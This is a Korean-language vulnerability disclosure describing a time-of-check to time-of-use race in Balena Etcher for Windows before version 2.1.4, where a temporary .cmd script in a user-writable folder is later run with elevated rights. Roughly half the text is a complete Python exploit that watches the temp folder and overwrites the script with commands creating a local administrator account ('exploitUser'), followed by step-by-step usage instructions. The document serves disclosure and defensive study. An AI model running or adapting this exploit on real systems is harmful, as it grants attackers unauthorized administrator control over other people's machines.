
Balena Etcher v2.1.4 이전 버전은 Windows에서 임시 파일 처리에 TOCTOU(Time-of-Check to Time-of-Use) 경쟁 조건의 영향을 받습니다.
Balena Etcher for Windows 2.1.4 이전 버전에서 TOCTOU(Time-of-Check to Time-of-Use) 취약점이 확인되었습니다.
이 애플리케이션은 사용자가 쓰기 가능한 디렉터리에 임시 .cmd 파일을 생성한 후, UAC를 통해 상승된 권한으로 이를 실행합니다.
이로 인해 중간 무결성(medium integrity) 수준으로 현재 사용자 컨텍스트에서 실행 중인 애플리케이션 또는 프로세스가, 임시 스크립트가 실행되기 전에 악성 명령을 주입하여 높은 무결성(high integrity) 수준으로 권한을 상승시킬 수 있습니다.
사용자가 플래싱 프로세스를 시작하면 Etcher는 다음 순서를 수행합니다:
사용자가 쓰기 가능한 임시 디렉터리에 임시 .cmd 파일이 생성됩니다:
C:\Users\<username>\AppData\Local\Temp\etcher\
파일에는 etcher-util.exe를 실행하는 데 필요한 환경 변수와 명령이 채워집니다.
스크립트는 Windows UAC를 통해 상승된 권한으로 실행됩니다.
취약점은 파일 생성과 실행 사이의 시간 차이에서 발생합니다. 이 짧은 시간 동안 동일한 사용자 컨텍스트에서 실행 중인 애플리케이션이 임시 디렉터리를 모니터링하고 합법적인 .cmd 파일을 악성 버전으로 교체할 수 있습니다. Etcher는 실행 전에 파일의 무결성을 검증하지 않으므로, 악성 코드가 상승된 권한으로 실행됩니다.
다음 Python 스크립트는 Etcher 임시 디렉터리를 모니터링하고, .cmd 파일이 감지되면 새 로컬 관리자 계정을 생성하는 악성 페이로드를 해당 파일에 추가합니다.
import os
import time
import glob
username = os.environ.get("USERNAME")
target_folder = fr"C:\Users\{username}\AppData\Local\Temp\etcher"
file_prefix = "balena-etcher-electron-"
payload = fr'''
chcp 65001
set "ETCHER_SERVER_ADDRESS=127.0.0.1"
set "ETCHER_SERVER_ID=etcher-xxorfp"
set "ETCHER_SERVER_PORT=3435"
set "UV_THREADPOOL_SIZE=128"
set "SKIP=1"
net user exploitUser Password123! /add
net localgroup administrators exploitUser /add
"C:\Users\{username}\AppData\Local\balena_etcher\app-2.1.0\resources\etcher-util.exe"
'''
def monitor_and_replace():
print(f"[*] Watching for balena-etcher-electron-*.cmd files in: {target_folder}")
while True:
cmd_files = glob.glob(os.path.join(target_folder, file_prefix + "*.cmd"))
for cmd_file in cmd_files:
print(f"[+] New .cmd file detected: {cmd_file}")
try:
with open(cmd_file, "w") as f:
f.write(payload)
print("[+] Payload successfully written to .cmd file.")
return # Exit after successful injection
except Exception as e:
print(f"[-] Failed to write payload: {e}")
time.sleep(0.5)
if __name__ == "__main__":
monitor_and_replace()
python exploit.py를 실행합니다. 스크립트는 Etcher가 생성하는 .cmd 파일을 위해 임시 디렉터리 모니터링을 시작합니다.
UAC 프롬프트가 나타나면 이를 수락하여 Etcher가 상승된 권한으로 계속 실행되도록 허용합니다.
익스플로잇 스크립트는 실행 직전에 임시 .cmd 파일을 감지하고 교체합니다. 스크립트가 상승된 권한으로 실행되면 주입된 명령이 실행되어 새 로컬 관리자 사용자(exploitUser)가 추가됩니다.